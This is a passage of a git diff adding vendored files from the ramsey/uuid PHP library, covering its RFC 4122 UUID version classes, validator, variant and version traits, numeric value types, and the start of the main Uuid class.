IntegerObject( + $this->numberConverter->fromHex($fields->getTimeLow()->toString()) + ); + } +} diff --git a/vendor/ramsey/uuid/src/Rfc4122/UuidV3.php b/vendor/ramsey/uuid/src/Rfc4122/UuidV3.php new file mode 100644 index 000000000..deaa54eb0 --- /dev/null +++ b/vendor/ramsey/uuid/src/Rfc4122/UuidV3.php @@ -0,0 +1,58 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Rfc4122; + +use Ramsey\Uuid\Codec\CodecInterface; +use Ramsey\Uuid\Converter\NumberConverterInterface; +use Ramsey\Uuid\Converter\TimeConverterInterface; +use Ramsey\Uuid\Exception\InvalidArgumentException; +use Ramsey\Uuid\Rfc4122\FieldsInterface as Rfc4122FieldsInterface; +use Ramsey\Uuid\Uuid; + +/** + * Version 3 UUIDs are named-based, using combination of a namespace and name + * that are hashed into a 128-bit unsigned integer using MD5 + * + * @psalm-immutable + */ +final class UuidV3 extends Uuid implements UuidInterface +{ + /** + * Creates a version 3 (name-based, MD5-hashed) UUID + * + * @param Rfc4122FieldsInterface $fields The fields from which to construct a UUID + * @param NumberConverterInterface $numberConverter The number converter to use + * for converting hex values to/from integers + * @param CodecInterface $codec The codec to use when encoding or decoding + * UUID strings + * @param TimeConverterInterface $timeConverter The time converter to use + * for converting timestamps extracted from a UUID to unix timestamps + */ + public function __construct( + Rfc4122FieldsInterface $fields, + NumberConverterInterface $numberConverter, + CodecInterface $codec, + TimeConverterInterface $timeConverter + ) { + if ($fields->getVersion() !== Uuid::UUID_TYPE_HASH_MD5) { + throw new InvalidArgumentException( + 'Fields used to create a UuidV3 must represent a ' + . 'version 3 (name-based, MD5-hashed) UUID' + ); + } + + parent::__construct($fields, $numberConverter, $codec, $timeConverter); + } +} diff --git a/vendor/ramsey/uuid/src/Rfc4122/UuidV4.php b/vendor/ramsey/uuid/src/Rfc4122/UuidV4.php new file mode 100644 index 000000000..2e5724620 --- /dev/null +++ b/vendor/ramsey/uuid/src/Rfc4122/UuidV4.php @@ -0,0 +1,58 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Rfc4122; + +use Ramsey\Uuid\Codec\CodecInterface; +use Ramsey\Uuid\Converter\NumberConverterInterface; +use Ramsey\Uuid\Converter\TimeConverterInterface; +use Ramsey\Uuid\Exception\InvalidArgumentException; +use Ramsey\Uuid\Rfc4122\FieldsInterface as Rfc4122FieldsInterface; +use Ramsey\Uuid\Uuid; + +/** + * Random, or version 4, UUIDs are randomly or pseudo-randomly generated 128-bit + * integers + * + * @psalm-immutable + */ +final class UuidV4 extends Uuid implements UuidInterface +{ + /** + * Creates a version 4 (random) UUID + * + * @param Rfc4122FieldsInterface $fields The fields from which to construct a UUID + * @param NumberConverterInterface $numberConverter The number converter to use + * for converting hex values to/from integers + * @param CodecInterface $codec The codec to use when encoding or decoding + * UUID strings + * @param TimeConverterInterface $timeConverter The time converter to use + * for converting timestamps extracted from a UUID to unix timestamps + */ + public function __construct( + Rfc4122FieldsInterface $fields, + NumberConverterInterface $numberConverter, + CodecInterface $codec, + TimeConverterInterface $timeConverter + ) { + if ($fields->getVersion() !== Uuid::UUID_TYPE_RANDOM) { + throw new InvalidArgumentException( + 'Fields used to create a UuidV4 must represent a ' + . 'version 4 (random) UUID' + ); + } + + parent::__construct($fields, $numberConverter, $codec, $timeConverter); + } +} diff --git a/vendor/ramsey/uuid/src/Rfc4122/UuidV5.php b/vendor/ramsey/uuid/src/Rfc4122/UuidV5.php new file mode 100644 index 000000000..2ef6ab3f1 --- /dev/null +++ b/vendor/ramsey/uuid/src/Rfc4122/UuidV5.php @@ -0,0 +1,58 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Rfc4122; + +use Ramsey\Uuid\Codec\CodecInterface; +use Ramsey\Uuid\Converter\NumberConverterInterface; +use Ramsey\Uuid\Converter\TimeConverterInterface; +use Ramsey\Uuid\Exception\InvalidArgumentException; +use Ramsey\Uuid\Rfc4122\FieldsInterface as Rfc4122FieldsInterface; +use Ramsey\Uuid\Uuid; + +/** + * Version 5 UUIDs are named-based, using combination of a namespace and name + * that are hashed into a 128-bit unsigned integer using SHA1 + * + * @psalm-immutable + */ +final class UuidV5 extends Uuid implements UuidInterface +{ + /** + * Creates a version 5 (name-based, SHA1-hashed) UUID + * + * @param Rfc4122FieldsInterface $fields The fields from which to construct a UUID + * @param NumberConverterInterface $numberConverter The number converter to use + * for converting hex values to/from integers + * @param CodecInterface $codec The codec to use when encoding or decoding + * UUID strings + * @param TimeConverterInterface $timeConverter The time converter to use + * for converting timestamps extracted from a UUID to unix timestamps + */ + public function __construct( + Rfc4122FieldsInterface $fields, + NumberConverterInterface $numberConverter, + CodecInterface $codec, + TimeConverterInterface $timeConverter + ) { + if ($fields->getVersion() !== Uuid::UUID_TYPE_HASH_SHA1) { + throw new InvalidArgumentException( + 'Fields used to create a UuidV5 must represent a ' + . 'version 5 (named-based, SHA1-hashed) UUID' + ); + } + + parent::__construct($fields, $numberConverter, $codec, $timeConverter); + } +} diff --git a/vendor/ramsey/uuid/src/Rfc4122/Validator.php b/vendor/ramsey/uuid/src/Rfc4122/Validator.php new file mode 100644 index 000000000..ed43c982f --- /dev/null +++ b/vendor/ramsey/uuid/src/Rfc4122/Validator.php @@ -0,0 +1,49 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Rfc4122; + +use Ramsey\Uuid\Uuid; +use Ramsey\Uuid\Validator\ValidatorInterface; + +use function preg_match; +use function str_replace; + +/** + * Rfc4122\Validator validates strings as UUIDs of the RFC 4122 variant + * + * @psalm-immutable + */ +final class Validator implements ValidatorInterface +{ + private const VALID_PATTERN = '\A[0-9A-Fa-f]{8}-[0-9A-Fa-f]{4}-' + . '[1-5]{1}[0-9A-Fa-f]{3}-[ABab89]{1}[0-9A-Fa-f]{3}-[0-9A-Fa-f]{12}\z'; + + /** + * @psalm-return non-empty-string + * @psalm-suppress MoreSpecificReturnType we know that the retrieved `string` is never empty + * @psalm-suppress LessSpecificReturnStatement we know that the retrieved `string` is never empty + */ + public function getPattern(): string + { + return self::VALID_PATTERN; + } + + public function validate(string $uuid): bool + { + $uuid = str_replace(['urn:', 'uuid:', 'URN:', 'UUID:', '{', '}'], '', $uuid); + + return $uuid === Uuid::NIL || preg_match('/' . self::VALID_PATTERN . '/Dms', $uuid); + } +} diff --git a/vendor/ramsey/uuid/src/Rfc4122/VariantTrait.php b/vendor/ramsey/uuid/src/Rfc4122/VariantTrait.php new file mode 100644 index 000000000..4c981658f --- /dev/null +++ b/vendor/ramsey/uuid/src/Rfc4122/VariantTrait.php @@ -0,0 +1,90 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Rfc4122; + +use Ramsey\Uuid\Exception\InvalidBytesException; +use Ramsey\Uuid\Uuid; + +use function decbin; +use function str_pad; +use function strlen; +use function strpos; +use function substr; +use function unpack; + +use const STR_PAD_LEFT; + +/** + * Provides common functionality for handling the variant, as defined by RFC 4122 + * + * @psalm-immutable + */ +trait VariantTrait +{ + /** + * Returns the bytes that comprise the fields + */ + abstract public function getBytes(): string; + + /** + * Returns the variant identifier, according to RFC 4122, for the given bytes + * + * The following values may be returned: + * + * - `0` -- Reserved, NCS backward compatibility. + * - `2` -- The variant specified in RFC 4122. + * - `6` -- Reserved, Microsoft Corporation backward compatibility. + * - `7` -- Reserved for future definition. + * + * @link https://tools.ietf.org/html/rfc4122#section-4.1.1 RFC 4122, § 4.1.1: Variant + * + * @return int The variant identifier, according to RFC 4122 + */ + public function getVariant(): int + { + if (strlen($this->getBytes()) !== 16) { + throw new InvalidBytesException('Invalid number of bytes'); + } + + /** @var array $parts */ + $parts = unpack('n*', $this->getBytes()); + + // $parts[5] is a 16-bit, unsigned integer containing the variant bits + // of the UUID. We convert this integer into a string containing a + // binary representation, padded to 16 characters. We analyze the first + // three characters (three most-significant bits) to determine the + // variant. + $binary = str_pad( + decbin((int) $parts[5]), + 16, + '0', + STR_PAD_LEFT + ); + + $msb = substr($binary, 0, 3); + + if ($msb === '111') { + $variant = Uuid::RESERVED_FUTURE; + } elseif ($msb === '110') { + $variant = Uuid::RESERVED_MICROSOFT; + } elseif (strpos($msb, '10') === 0) { + $variant = Uuid::RFC_4122; + } else { + $variant = Uuid::RESERVED_NCS; + } + + return $variant; + } +} diff --git a/vendor/ramsey/uuid/src/Rfc4122/VersionTrait.php b/vendor/ramsey/uuid/src/Rfc4122/VersionTrait.php new file mode 100644 index 000000000..cee55fbef --- /dev/null +++ b/vendor/ramsey/uuid/src/Rfc4122/VersionTrait.php @@ -0,0 +1,57 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Rfc4122; + +/** + * Provides common functionality for handling the version, as defined by RFC 4122 + * + * @psalm-immutable + */ +trait VersionTrait +{ + /** + * Returns the version + */ + abstract public function getVersion(): ?int; + + /** + * Returns true if these fields represent a nil UUID + */ + abstract public function isNil(): bool; + + /** + * Returns true if the version matches one of those defined by RFC 4122 + * + * @return bool True if the UUID version is valid, false otherwise + */ + private function isCorrectVersion(): bool + { + if ($this->isNil()) { + return true; + } + + switch ($this->getVersion()) { + case 1: + case 2: + case 3: + case 4: + case 5: + case 6: + return true; + } + + return false; + } +} diff --git a/vendor/ramsey/uuid/src/Type/Decimal.php b/vendor/ramsey/uuid/src/Type/Decimal.php new file mode 100644 index 000000000..10f93845b --- /dev/null +++ b/vendor/ramsey/uuid/src/Type/Decimal.php @@ -0,0 +1,137 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Type; + +use Ramsey\Uuid\Exception\InvalidArgumentException; +use ValueError; + +use function is_numeric; +use function sprintf; + +/** + * A value object representing a decimal + * + * This class exists for type-safety purposes, to ensure that decimals + * returned from ramsey/uuid methods as strings are truly decimals and not some + * other kind of string. + * + * To support values as true decimals and not as floats or doubles, we store the + * decimals as strings. + * + * @psalm-immutable + */ +final class Decimal implements NumberInterface +{ + /** + * @var string + */ + private $value; + + /** + * @var bool + */ + private $isNegative = false; + + /** + * @param mixed $value The decimal value to store + */ + public function __construct($value) + { + $value = (string) $value; + + if (!is_numeric($value)) { + throw new InvalidArgumentException( + 'Value must be a signed decimal or a string containing only ' + . 'digits 0-9 and, optionally, a decimal point or sign (+ or -)' + ); + } + + // Remove the leading +-symbol. + if (strpos($value, '+') === 0) { + $value = substr($value, 1); + } + + // For cases like `-0` or `-0.0000`, convert the value to `0`. + if (abs((float) $value) === 0.0) { + $value = '0'; + } + + if (strpos($value, '-') === 0) { + $this->isNegative = true; + } + + $this->value = $value; + } + + public function isNegative(): bool + { + return $this->isNegative; + } + + public function toString(): string + { + return $this->value; + } + + public function __toString(): string + { + return $this->toString(); + } + + public function jsonSerialize(): string + { + return $this->toString(); + } + + public function serialize(): string + { + return $this->toString(); + } + + /** + * @return array{string: string} + */ + public function __serialize(): array + { + return ['string' => $this->toString()]; + } + + /** + * Constructs the object from a serialized string representation + * + * @param string $serialized The serialized string representation of the object + * + * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint + * @psalm-suppress UnusedMethodCall + */ + public function unserialize($serialized): void + { + $this->__construct($serialized); + } + + /** + * @param array{string: string} $data + */ + public function __unserialize(array $data): void + { + // @codeCoverageIgnoreStart + if (!isset($data['string'])) { + throw new ValueError(sprintf('%s(): Argument #1 ($data) is invalid', __METHOD__)); + } + // @codeCoverageIgnoreEnd + + $this->unserialize($data['string']); + } +} diff --git a/vendor/ramsey/uuid/src/Type/Hexadecimal.php b/vendor/ramsey/uuid/src/Type/Hexadecimal.php new file mode 100644 index 000000000..88adc2e7e --- /dev/null +++ b/vendor/ramsey/uuid/src/Type/Hexadecimal.php @@ -0,0 +1,116 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Type; + +use Ramsey\Uuid\Exception\InvalidArgumentException; +use ValueError; + +use function ctype_xdigit; +use function sprintf; +use function strpos; +use function strtolower; +use function substr; + +/** + * A value object representing a hexadecimal number + * + * This class exists for type-safety purposes, to ensure that hexadecimal numbers + * returned from ramsey/uuid methods as strings are truly hexadecimal and not some + * other kind of string. + * + * @psalm-immutable + */ +final class Hexadecimal implements TypeInterface +{ + /** + * @var string + */ + private $value; + + /** + * @param string $value The hexadecimal value to store + */ + public function __construct(string $value) + { + $value = strtolower($value); + + if (strpos($value, '0x') === 0) { + $value = substr($value, 2); + } + + if (!ctype_xdigit($value)) { + throw new InvalidArgumentException( + 'Value must be a hexadecimal number' + ); + } + + $this->value = $value; + } + + public function toString(): string + { + return $this->value; + } + + public function __toString(): string + { + return $this->toString(); + } + + public function jsonSerialize(): string + { + return $this->toString(); + } + + public function serialize(): string + { + return $this->toString(); + } + + /** + * @return array{string: string} + */ + public function __serialize(): array + { + return ['string' => $this->toString()]; + } + + /** + * Constructs the object from a serialized string representation + * + * @param string $serialized The serialized string representation of the object + * + * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint + * @psalm-suppress UnusedMethodCall + */ + public function unserialize($serialized): void + { + $this->__construct($serialized); + } + + /** + * @param array{string: string} $data + */ + public function __unserialize(array $data): void + { + // @codeCoverageIgnoreStart + if (!isset($data['string'])) { + throw new ValueError(sprintf('%s(): Argument #1 ($data) is invalid', __METHOD__)); + } + // @codeCoverageIgnoreEnd + + $this->unserialize($data['string']); + } +} diff --git a/vendor/ramsey/uuid/src/Type/Integer.php b/vendor/ramsey/uuid/src/Type/Integer.php new file mode 100644 index 000000000..7690f6cd8 --- /dev/null +++ b/vendor/ramsey/uuid/src/Type/Integer.php @@ -0,0 +1,153 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Type; + +use Ramsey\Uuid\Exception\InvalidArgumentException; +use ValueError; + +use function ctype_digit; +use function ltrim; +use function sprintf; +use function strpos; +use function substr; + +/** + * A value object representing an integer + * + * This class exists for type-safety purposes, to ensure that integers + * returned from ramsey/uuid methods as strings are truly integers and not some + * other kind of string. + * + * To support large integers beyond PHP_INT_MAX and PHP_INT_MIN on both 64-bit + * and 32-bit systems, we store the integers as strings. + * + * @psalm-immutable + */ +final class Integer implements NumberInterface +{ + /** + * @psalm-var numeric-string + */ + private $value; + + /** + * @var bool + */ + private $isNegative = false; + + /** + * @param mixed $value The integer value to store + */ + public function __construct($value) + { + $value = (string) $value; + $sign = '+'; + + // If the value contains a sign, remove it for ctype_digit() check. + if (strpos($value, '-') === 0 || strpos($value, '+') === 0) { + $sign = substr($value, 0, 1); + $value = substr($value, 1); + } + + if (!ctype_digit($value)) { + throw new InvalidArgumentException( + 'Value must be a signed integer or a string containing only ' + . 'digits 0-9 and, optionally, a sign (+ or -)' + ); + } + + // Trim any leading zeros. + $value = ltrim($value, '0'); + + // Set to zero if the string is empty after trimming zeros. + if ($value === '') { + $value = '0'; + } + + // Add the negative sign back to the value. + if ($sign === '-' && $value !== '0') { + $value = $sign . $value; + $this->isNegative = true; + } + + /** @psalm-var numeric-string $numericValue */ + $numericValue = $value; + + $this->value = $numericValue; + } + + public function isNegative(): bool + { + return $this->isNegative; + } + + /** + * @psalm-return numeric-string + */ + public function toString(): string + { + return $this->value; + } + + public function __toString(): string + { + return $this->toString(); + } + + public function jsonSerialize(): string + { + return $this->toString(); + } + + public function serialize(): string + { + return $this->toString(); + } + + /** + * @return array{string: string} + */ + public function __serialize(): array + { + return ['string' => $this->toString()]; + } + + /** + * Constructs the object from a serialized string representation + * + * @param string $serialized The serialized string representation of the object + * + * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint + * @psalm-suppress UnusedMethodCall + */ + public function unserialize($serialized): void + { + $this->__construct($serialized); + } + + /** + * @param array{string: string} $data + */ + public function __unserialize(array $data): void + { + // @codeCoverageIgnoreStart + if (!isset($data['string'])) { + throw new ValueError(sprintf('%s(): Argument #1 ($data) is invalid', __METHOD__)); + } + // @codeCoverageIgnoreEnd + + $this->unserialize($data['string']); + } +} diff --git a/vendor/ramsey/uuid/src/Type/NumberInterface.php b/vendor/ramsey/uuid/src/Type/NumberInterface.php new file mode 100644 index 000000000..bf4ae9db8 --- /dev/null +++ b/vendor/ramsey/uuid/src/Type/NumberInterface.php @@ -0,0 +1,28 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Type; + +/** + * NumberInterface ensures consistency in numeric values returned by ramsey/uuid + * + * @psalm-immutable + */ +interface NumberInterface extends TypeInterface +{ + /** + * Returns true if this number is less than zero + */ + public function isNegative(): bool; +} diff --git a/vendor/ramsey/uuid/src/Type/Time.php b/vendor/ramsey/uuid/src/Type/Time.php new file mode 100644 index 000000000..dd1b8bc28 --- /dev/null +++ b/vendor/ramsey/uuid/src/Type/Time.php @@ -0,0 +1,139 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Type; + +use Ramsey\Uuid\Exception\UnsupportedOperationException; +use Ramsey\Uuid\Type\Integer as IntegerObject; +use ValueError; +use stdClass; + +use function json_decode; +use function json_encode; +use function sprintf; + +/** + * A value object representing a timestamp + * + * This class exists for type-safety purposes, to ensure that timestamps used + * by ramsey/uuid are truly timestamp integers and not some other kind of string + * or integer. + * + * @psalm-immutable + */ +final class Time implements TypeInterface +{ + /** + * @var IntegerObject + */ + private $seconds; + + /** + * @var IntegerObject + */ + private $microseconds; + + /** + * @param mixed $seconds + * @param mixed $microseconds + */ + public function __construct($seconds, $microseconds = 0) + { + $this->seconds = new IntegerObject($seconds); + $this->microseconds = new IntegerObject($microseconds); + } + + public function getSeconds(): IntegerObject + { + return $this->seconds; + } + + public function getMicroseconds(): IntegerObject + { + return $this->microseconds; + } + + public function toString(): string + { + return $this->seconds->toString() . '.' . $this->microseconds->toString(); + } + + public function __toString(): string + { + return $this->toString(); + } + + /** + * @return string[] + */ + public function jsonSerialize(): array + { + return [ + 'seconds' => $this->getSeconds()->toString(), + 'microseconds' => $this->getMicroseconds()->toString(), + ]; + } + + public function serialize(): string + { + return (string) json_encode($this); + } + + /** + * @return array{seconds: string, microseconds: string} + */ + public function __serialize(): array + { + return [ + 'seconds' => $this->getSeconds()->toString(), + 'microseconds' => $this->getMicroseconds()->toString(), + ]; + } + + /** + * Constructs the object from a serialized string representation + * + * @param string $serialized The serialized string representation of the object + * + * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint + * @psalm-suppress UnusedMethodCall + */ + public function unserialize($serialized): void + { + /** @var stdClass $time */ + $time = json_decode($serialized); + + if (!isset($time->seconds) || !isset($time->microseconds)) { + throw new UnsupportedOperationException( + 'Attempted to unserialize an invalid value' + ); + } + + $this->__construct($time->seconds, $time->microseconds); + } + + /** + * @param array{seconds: string, microseconds: string} $data + */ + public function __unserialize(array $data): void + { + // @codeCoverageIgnoreStart + if (!isset($data['seconds']) || !isset($data['microseconds'])) { + throw new ValueError(sprintf('%s(): Argument #1 ($data) is invalid', __METHOD__)); + } + // @codeCoverageIgnoreEnd + + $this->__construct($data['seconds'], $data['microseconds']); + } +} diff --git a/vendor/ramsey/uuid/src/Type/TypeInterface.php b/vendor/ramsey/uuid/src/Type/TypeInterface.php new file mode 100644 index 000000000..da2d8b203 --- /dev/null +++ b/vendor/ramsey/uuid/src/Type/TypeInterface.php @@ -0,0 +1,30 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Type; + +use JsonSerializable; +use Serializable; + +/** + * TypeInterface ensures consistency in typed values returned by ramsey/uuid + * + * @psalm-immutable + */ +interface TypeInterface extends JsonSerializable, Serializable +{ + public function toString(): string; + + public function __toString(): string; +} diff --git a/vendor/ramsey/uuid/src/Uuid.php b/vendor/ramsey/uuid/src/Uuid.php new file mode 100644 index 000000000..945480ba4 --- /dev/null +++ b/vendor/ramsey/uuid/src/Uuid.php @@ -0,0 +1,664 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid; + +use DateTimeInterface; +use Ramsey\Uuid\Codec\CodecInterface; +use Ramsey\Uuid\Converter\NumberConverterInterface; +use Ramsey\Uuid\Converter\TimeConverterInterface; +use Ramsey\Uuid\Fields\FieldsInterface; +use Ramsey\Uuid\Lazy\LazyUuidFromString; +use Ramsey\Uuid\Rfc4122\FieldsInterface as Rfc4122FieldsInterface; +use Ramsey\Uuid\Type\Hexadecimal; +use Ramsey\Uuid\Type\Integer as IntegerObject; +use ValueError; + +use function assert; +use function bin2hex; +use function preg_match; +use function sprintf; +use function str_replace; +use function strcmp; +use function strlen; +use function strtolower; +use function substr; + +/** + * Uuid provides constants and static methods for working with and generating UUIDs + * + * @psalm-immutable + */ +class Uuid implements UuidInterface +{ + use DeprecatedUuidMethodsTrait; + + /** + * When this namespace is specified, the name string is a fully-qualified + * domain name + * + * @link http://tools.ietf.org/html/rfc4122#appendix-C RFC 4122, Appendix C: Some Name Space IDs + */ + public const NAMESPACE_DNS = '6ba7b810-9dad-11d1-80b4-00c04fd430c8'; + + /** + * When this namespace is specified, the name string is a URL + * + * @link http://tools.ietf.org/html/rfc4122#appendix-C RFC 4122, Appendix C: Some Name Space IDs + */ + public const NAMESPACE_URL = '6ba7b811-9dad-11d1-80b4-00c04fd430c8'; + + /** + * When this namespace is specified, the name string is an ISO OID + * + * @link http://tools.ietf.org/html/rfc4122#appendix-C RFC 4122, Appendix C: Some Name Space IDs + */ + public const NAMESPACE_OID = '6ba7b812-9dad-11d1-80b4-00c04fd430c8'; + + /** + * When this namespace is specified, the name string is an X.500 DN in DER + * or a text output format + * + * @link http://tools.ietf.org/html/rfc4122#appendix-C RFC 4122, Appendix C: Some Name Space IDs + */ + public const NAMESPACE_X500 = '6ba7b814-9dad-11d1-80b4-00c04fd430c8'; + + /** + * The nil UUID is a special form of UUID that is specified to have all 128 + * bits set to zero + * + * @link http://tools.ietf.org/html/rfc4122#section-4.1.7 RFC 4122, § 4.1.7: Nil UUID + */ + public const NIL = '00000000-0000-0000-0000-000000000000'; + + /** + * Variant: reserved, NCS backward compatibility + * + * @link http://tools.ietf.org/html/rfc4122#section-4.1.1 RFC 4122, § 4.1.1: Variant + */ + public const RESERVED_NCS = 0; + + /** + * Variant: the UUID layout specified in RFC 4122 + * + * @link http://tools.ietf.org/html/rfc4122#section-4.1.1 RFC 4122, § 4.1.1: Variant + */ + public const RFC_4122 = 2; + + /** + * Variant: reserved, Microsoft Corporation backward compatibility + * + * @link http://tools.ietf.org/html/rfc4122#section-4.1.1 RFC 4122, § 4.1.1: Variant + */ + public const RESERVED_MICROSOFT = 6; + + /** + * Variant: reserved for future definition + * + * @link http://tools.ietf.org/html/rfc4122#section-4.1.1 RFC 4122, § 4.1.1: Variant + */ + public const RESERVED_FUTURE = 7; + + /** + * @deprecated Use {@see ValidatorInterface::getPattern()} instead. + */ + public const VALID_PATTERN = '^[0-9A-Fa-f]{8}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{12}$'; + + /** + * Version 1 (time-based) UUID + * + * @link https://tools.ietf.org/html/rfc4122#section-4.1.3 RFC 4122, § 4.1.3: Version + */ + public const UUID_TYPE_TIME = 1; + + /** + * Version 2 (DCE Security) UUID + * + * @link https://tools.ietf.org/html/rfc4122#section-4.1.3 RFC 4122, § 4.1.3: Version + */ + public const UUID_TYPE_DCE_SECURITY = 2; + + /** + * @deprecated Use {@see Uuid::UUID_TYPE_DCE_SECURITY} instead. + */ + public const UUID_TYPE_IDENTIFIER = 2; + + /** + * Version 3 (name-based and hashed with MD5) UUID + * + * @link https://tools.ietf.org/html/rfc4122#section-4.1.3 RFC 4122, § 4.1.3: Version + */ + public const UUID_TYPE_HASH_MD5 = 3; + + /** + * Version 4 (random) UUID + * + * @link https://tools.ietf.org/html/rfc4122#section-4.1.3 RFC 4122, § 4.1.3: Version + */ + public const UUID_TYPE_RANDOM = 4; + + /** + * Version 5 (name-based and hashed with SHA1) UUID + * + * @link https://tools.ietf.org/html/rfc4122#section-4.1.3 RFC 4122, § 4.1.3: Version + */ + public const UUID_TYPE_HASH_SHA1 = 5; + + /** + * Version 6 (ordered-time) UUID + * + * This is named `UUID_TYPE_PEABODY`, since the specification is still in + * draft form, and the primary author/editor's name is Brad Peabody. + * + * @link https://github.com/uuid6/uuid6-ietf-draft UUID version 6 IETF draft + * @link http://gh.peabody.io/uuidv6/ "Version 6" UUIDs + */ + public const UUID_TYPE_PEABODY = 6; + + /** + * DCE Security principal domain + * + * @link https://pubs.opengroup.org/onlinepubs/9696989899/chap11.htm#tagcjh_14_05_01_01 DCE 1.1, §11.5.1.1 + */ + public const DCE_DOMAIN_PERSON = 0; + + /** + * DCE Security group domain + * + * @link https://pubs.opengroup.org/onlinepubs/9696989899/chap11.htm#tagcjh_14_05_01_01 DCE 1.1, §11.5.1.1 + */ + public const DCE_DOMAIN_GROUP = 1; + + /** + * DCE Security organization domain + * + * @link https://pubs.opengroup.org/onlinepubs/9696989899/chap11.htm#tagcjh_14_05_01_01 DCE 1.1, §11.5.1.1 + */ + public const DCE_DOMAIN_ORG = 2; + + /** + * DCE Security domain string names + * + * @link https://pubs.opengroup.org/onlinepubs/9696989899/chap11.htm#tagcjh_14_05_01_01 DCE 1.1, §11.5.1.1 + */ + public const DCE_DOMAIN_NAMES = [ + self::DCE_DOMAIN_PERSON => 'person', + self::DCE_DOMAIN_GROUP => 'group', + self::DCE_DOMAIN_ORG => 'org', + ]; + + /** + * @var UuidFactoryInterface|null + */ + private static $factory = null; + + /** + * @var bool flag to detect if the UUID factory was replaced internally, which disables all optimizations + * for the default/happy path internal scenarios + */ + private static $factoryReplaced = false; + + /** + * @var CodecInterface + */ + protected $codec; + + /** + * The fields that make up this UUID + * + * @var Rfc4122FieldsInterface + */ + protected $fields; + + /** + * @var NumberConverterInterface + */ + protected $numberConverter; + + /** + * @var TimeConverterInterface + */ + protected $timeConverter; + + /** + * Creates a universally unique identifier (UUID) from an array of fields + * + * Unless you're making advanced use of this library to generate identifiers + * that deviate from RFC 4122, you probably do not want to instantiate a + * UUID directly. Use the static methods, instead: + * + * ``` + * use Ramsey\Uuid\Uuid; + * + * $timeBasedUuid = Uuid::uuid1(); + * $namespaceMd5Uuid = Uuid::uuid3(Uuid::NAMESPACE_URL, 'http://php.net/'); + * $randomUuid = Uuid::uuid4(); + * $namespaceSha1Uuid = Uuid::uuid5(Uuid::NAMESPACE_URL, 'http://php.net/'); + * ``` + * + * @param Rfc4122FieldsInterface $fields The fields from which to construct a UUID + * @param NumberConverterInterface $numberConverter The number converter to use + * for converting hex values to/from integers + * @param CodecInterface $codec The codec to use when encoding or decoding + * UUID strings + * @param TimeConverterInterface $timeConverter The time converter to use + * for converting timestamps extracted from a UUID to unix timestamps + */ + public function __construct( + Rfc4122FieldsInterface $fields, + NumberConverterInterface $numberConverter, + CodecInterface $codec, + TimeConverterInterface $timeConverter + ) { + $this->fields = $fields; + $this->codec = $codec; + $this->numberConverter = $numberConverter; + $this->timeConverter = $timeConverter; + } + + /** + * @psalm-return non-empty-string + */ + public function __toString(): string + { + return $this->toString(); + } + + /** + * Converts the UUID to a string for JSON serialization + */ + public function jsonSerialize(): string + { + return $this->toString(); + } + + /** + * Converts the UUID to a string for PHP serialization + */ + public function serialize(): string + { + return $this->getFields()->getBytes(); + } + + /** + * @return array{bytes: string} + */ + public function __serialize(): array + { + return ['bytes' => $this->serialize()]; + } + + /** + * Re-constructs the object from its serialized form + * + * @param string $serialized The serialized PHP string to unserialize into + * a UuidInterface instance + * + * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint + */ + public function unserialize($serialized): void + { + if (strlen($serialized) === 16) { + /** @var Uuid $uuid */ + $uuid = self::getFactory()->fromBytes($serialized); + } else { + /** @var Uuid $uuid */ + $uuid = self::getFactory()->fromString($serialized); + } + + $this->codec = $uuid->codec; + $this->numberConverter = $uuid->numberConverter; + $this->fields = $uuid->fields; + $this->timeConverter = $uuid->timeConverter; + } + + /** + * @param array{bytes: string} $data + */ + public function __unserialize(array $data): void + { + // @codeCoverageIgnoreStart + if (!isset($data['bytes'])) { + throw new ValueError(sprintf('%s(): Argument #1 ($data) is invalid', __METHOD__)); + } + // @codeCoverageIgnoreEnd + + $this->unserialize($data['bytes']); + } + + public function compareTo(UuidInterface $other): int + { + $compare = strcmp($this->toString(), $other->toString()); + + if ($compare < 0) { + return -1; + } + + if ($compare > 0) { + return 1; + } + + return 0; + } + + public function equals(?object $other): bool + { + if (!$other instanceof UuidInterface) { + return false; + } + + return $this->compareTo($other) === 0; + } + + /** + * @psalm-return non-empty-string + */ + public function getBytes(): string + { + return $this->codec->encodeBinary($this); + } + + public function getFields(): FieldsInterface + { + return $this->fields; + } + + public function getHex(): Hexadecimal + { + return new Hexadecimal(str_replace('-', '', $this->toString())); + } + + public function getInteger(): IntegerObject + { + return new IntegerObject($this->numberConverter->fromHex($this->getHex()->toString())); + } + + /** + * @psalm-return non-empty-string + */ + public function toString(): string + { + return $this->codec->encode($this); + } + + /** + * Returns the factory used to create UUIDs + */ + public static function getFactory(): UuidFactoryInterface + { + if (self::$factory === null) { + self::$factory = new UuidFactory(); 